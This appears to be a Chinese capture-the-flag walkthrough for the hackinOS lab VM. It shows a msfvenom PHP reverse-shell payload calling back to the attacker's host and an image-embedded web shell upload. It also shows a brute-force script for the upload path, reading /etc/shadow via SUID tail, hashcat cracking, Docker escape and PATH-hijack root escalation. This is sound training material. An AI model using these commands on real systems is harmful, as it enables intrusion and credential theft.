网络结构由VMware虚拟机及物理机组成
靶机hackinOS:192.168.1.
Kali:192.168.1.132/24
物理机
Nmap扫描:
nmap -sP 192.168.1.0/24
此处192.168.1.1为VMnet1网卡地址,1.3为网关地址,1.137为kali的地址,判断靶机地址为192.168.1.136(这里因为原图在保存过程中丢失了,所以我重新扫描了一下放了张图,时间跟后面对不上,但是不妨碍,地址都是一样的)
可以看到除了22端口,还开放了8000端口:
nmap -sV 192.168.1.136
访问8000端口:
可以看到一个web界面
访问robots.txt,可以看到提示了我们一个文件上传页面
注:robots协议也叫robots.txt(统一小写)是一种存放于网站根目录下的ASCII编码的文本文件,它通常告诉网络搜索引擎的漫游器(爬虫),此网站中的哪些内容是不应被搜索引擎的漫游器获取的,哪些是可以被漫游器获取的。
打开这个页面瞅瞅:
右键查看源代码,拖到最底下,看到给了一个github链接
转到这个GitHub页面,可以看到人家给了页面源码:可以上传文件,过滤了mime类型,仅允许png和gif格式
生成了一个1-100随机数,添加在文件尾部,用md5加密后作为新文件名
这里我们可以上传个木马,接收反弹shell,先制作一个反弹shell的php木马
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.137 lport=4444 -f raw > 1.php
生成木马如下图,ip地址为kali的ip,端口号4444为kali要监听的端口
然后加到某一图片中,生成图片马
记事本打开此图片,可以看到我们1.php中的代码已经加到了图片最后面
图片马生成成功,接下来上传上去,将数据包用burp拦截下来,需要修改一下文件名后缀为php,不然到时候没法用
如上图已经可以看到上传成功,还提示了我们存放的目录位置
在kali端监听端口:
这里因为目标主机在存储上传过来的图片时,会在文件名尾部加一个1-100的随机数,然后对其进行md5加密,再生成新的文件名,我们无法直接访问,需要借助工具对目标路径进行爆破
这里首先运行一个python脚本a.py,生成字典zd1.txt
#!/usr/bin/python
import hashlib
for i in range(101):
file ="3.php"+str(i)
hash=hashlib.md5(file.encode())
dir=hash.hexdigest()+".php"
f = open("zd1.txt","a+")
f.write(dir+"\r\n")
f.close()
然后使用dirb进行遍历
dirb "http://192.168.1.136:8000/uploads" zd1.txt
成功检索到目标文件时如下图所示
监听端会返回过来一个shell
因为网站为wordpress搭建,其数据库信息存放在wp-config.php内,直接用cat就可以查看,可以看到数据库用户名和密码均为wordpress
此时我们可以查看下系统信息,判断服务是否运行在容器内
sysinfo
主机名为1afdd1f6b82c,像是在容器中运行,确认一下,确实运行在docker中
run post/linux/gather/checkcontainer
虽然是在docker中,但现在我们也只有进行提权才能进一步想办法拿到主机shell
先上传一个Linux信息收集脚本 下载地址 https://github.com/sleventyeleven/linuxprivchecker
meterpreter > upload ~/桌面/linuxprivchecker.py /tmp/linuxprivchecker.py
这个脚本会提供给我们很多信息,包括我们此时最需要的设置了suid的命令,如下图,tail命令被设置了suid
直接用cat来查看shadow文件是查看不了的,所以我们可以用tail来查看shadow文件,可以看到root的用户名密码
tail -c1G /etc/shadow
root:$6$qoj6/JJi$FQe/BZlfZV9VX8m0i25Suih5vi1S//OVNpd.PvEVYcL1bWSrF3XTVTF91n60yUuUMUcP65EgT8HfjLyjGHova/:17951:0:99999:7:::
之后使用hashcat破解密码,将得到的用户名密码hash值存放在文件root.hash中,使用hashcat进行破解
命令:
hashcat -w 3 -a 0 -m 1800 -o root.out root.hash
此处参数,-w 调优,-a 指定要使用的破解模式,其值参考后面对参数。""-a 0"字典攻击,"-a 1" 组合攻击;"-a 3"掩码 攻击。 -m 1800 = SHA-512(Unix)
得到存有破解密码的文件root.out,查看密码为john
此处我们切换为root用户时需要使用到一个交互shell
python -c "import pty;pty.spawn('/bin/bash');"
此时docker内提权成功
有了root权限我们可以查看数据库了,用之前获取的数据库用户名和密码登录mysql
mysql -h db -u wordpress -p
从上图中可以看到一个host_ssh_cred表,看起来像是ssh连接,查看下这个表,果然,从里面可以看到一组用户名密码
密码由md5加密,将其解密后,得到明文12345
使用ssh登录,登录成功
ssh [email protected]
登录后查看用户组,属于docker组,逃逸成功
此时我们直接将root目录挂载至容器内,即可查看root下的文件
如图,成功拿到flag
docker run -it -v /root:/root ubuntu:latest
但此时我们还没有真正拿到root权限,继续进行提权
查看一下设置了suid的文件
ls -lh $(find / -perm -u=s -type f 2>/dev/null)
可以看到一个a.out,此文件显然是人为创建的可执行文件,运行一下看看,看到返回了结果root
/home/hummingbirdscyber/Desktop/a.out
我们不清楚这个文件的内容,但其执行结果仅返回了一个用户名,猜测调用了whoami文件
查看一下环境变量,可以看到/home/hummingbirdscyber/bin,此目录我们是有写权限的
我们可以自行编写一个whoami文件,因为我们猜测a.out中使用了whoami命令,而环境变量中又有一个我们具有写权限的目录,此时如果我们伪造一个whoami文件,a.out在调用命令时首先检索环境变量就会调用到我们伪造的whoami,执行我们想要的命令,来达到提权的效果,即使用环境变量进行命令劫持提权
此处whoami中的内容为返回一个shell,还需要说明一点,因为执行a.out的时候返回的是root,因此怀疑是使用root的权限来调用了whoami,此时我们如果能够获取到shell,则可以拿到root权限
hummingbirdscyber@vulnvm:~/Desktop$ nano whoami.c
hummingbirdscyber@vulnvm:~/Desktop$ cat whoami.c
#include <stdlib.h>
int main(void) {
system("/bin/bash -p");
return 0;
}
hummingbirdscyber@vulnvm:~/Desktop$ gcc -o whoami whoami.c //编译
hummingbirdscyber@vulnvm:~/Desktop$ chmod +x whoami //赋予执行权限
我们到hummingbirdscybe目录下,创建一个bin目录,然后将之前编译好的whoami移动到bin目录下
hummingbirdscyber@vulnvm:~$ mkdir bin
hummingbirdscyber@vulnvm:~$ mv Desktop/whoami bin/
执行a.out,前面的用户名变为了root
查看flag,无误,提权成功